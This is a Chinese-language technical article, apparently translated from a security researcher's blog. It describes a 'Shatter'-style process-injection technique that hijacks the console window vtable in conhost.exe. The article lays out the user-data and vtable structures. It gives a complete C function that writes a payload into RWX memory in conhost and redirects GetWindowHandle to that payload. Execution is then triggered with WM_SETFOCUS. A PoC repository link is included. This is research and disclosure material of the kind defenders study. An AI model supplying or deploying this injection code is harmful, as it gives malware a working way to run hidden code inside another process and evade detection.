导语:本文所讲解的注入过程是“Shatter”攻击的另一种变体。与创建新线程的方法不同,这种方法是对窗口消息和回调函数进行了滥用,从而实现代码执行。
概述
每个窗口对象都支持用户数据(User Data),而用户数据则可以通过SetWindowLongPtr API和GWLP_USERDATA参数进行设置。窗口对象的用户数据通常只有部分内存,用于存储指向类对象的指针。对于控制台程序宿主(Console Window Host,Conhost)进程,其中通常会存储数据结构的地址。在结构中,包含窗口在桌面的当前位置、大小、对象句柄及具有控制控制台窗口行为的方法的类对象。
conhost.exe中的用户数据存储在具有可写权限的堆上。这样一来,它就可以用于进程注入,并且其过程非常类似于我之前讨论过的Extra Bytes方法( https://modexp.wordpress.com/2018/08/26/process-injection-ctray/ )。
ConsoleWindowClass
在下图中,我们可以看到控制台应用程序所使用的窗口对象的属性。请重点关注Window Proc字段为空的原因。用户数据字段指向虚拟地址,但它并不是位于在控制台应用程序之中。相反,用户数据结构位于控制台应用程序启动时由系统生成的conhost.exe进程中。

下图展现了窗口类的信息,高亮标注的是负责处理窗口消息的回调过程的地址。

调试conhost.exe
下图展示了连接到控制台主机的调试器,以及对用户数据值0x000001CB3836F580的转储。第一个64位值指向了方法(函数数组)的虚拟函数表。

下图展示了存储在虚拟函数表中的方法列表:

在覆盖任何内容之前,我们需要确定如何从外部应用程序触发这些方法的执行。具体来说,需要为虚拟函数表设置“中断访问”(Break On Access,ba),并向窗口发送消息。下图显示了发送WM_SETFOCUS消息后触发的断点。

现在,我们已经掌握如何触发执行。接下来,只需要劫持一个方法。在处理WM_SETFOCUS消息时,首先会调用GetWindowHandle。下图可以表明,此方法不需要任何参数,只需要从用户数据中返回一个窗口句柄。

虚拟函数表
以下结构定义了conhost用于控制控制台窗口行为的虚拟函数表。如果我们不使用GetWindowHandle(不带任何参数)之外的方法,就不需要为其中的每个方法定义原型。
typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
用户数据结构
下图展示了用户数据结构,其总大小为104字节。由于默认情况下,分配的内容具有PAGE_READWRITE保护,所以可以使用包含Payload地址的副本,覆盖指向虚拟函数表的指针。

完整函数
该函数演示了在触发某些代码执行之前,如何借助重复来替换虚拟函数表。我们的测试过程使用了64位版本的Windows 10系统。
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
// 1. 获取控制台窗口的句柄和进程ID(PPID)
// (假设已经有一个在运行)
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
GetWindowThreadProcessId(hwnd, &ppid);
// 2. 获取主机进程的进程ID(PPID)
pid = conhostId(ppid);
// 3. 打开conhost.exe进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. 分配RWX内存,并在相应位置复制Payload
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. 读取当前虚拟函数表的地址
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. 将当前虚拟函数表读入本地内存
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. 为新虚拟函数表分配RW内存
ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 8. 使用Payload地址更新虚拟函数表的本地副本
// 并写入远程进程
cw.GetWindowHandle = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. 更新远程进程中虚拟函数表的指针
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
// 10. 触发Payload的执行
SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. 恢复指向原始虚拟函数表的指针
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
// 12. 释放内存并关闭句柄
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
总结
本文所讲解的注入过程是“Shatter”攻击的另一种变体。与创建新线程的方法不同,这种方法是对窗口消息和回调函数进行了滥用,从而实现代码执行。这里展示的方法仅适用于控制台窗口,或者更具体来说是ConsoleWindowClass对象。相关PoC请参见:https://github.com/odzhan/injection/tree/master/conhost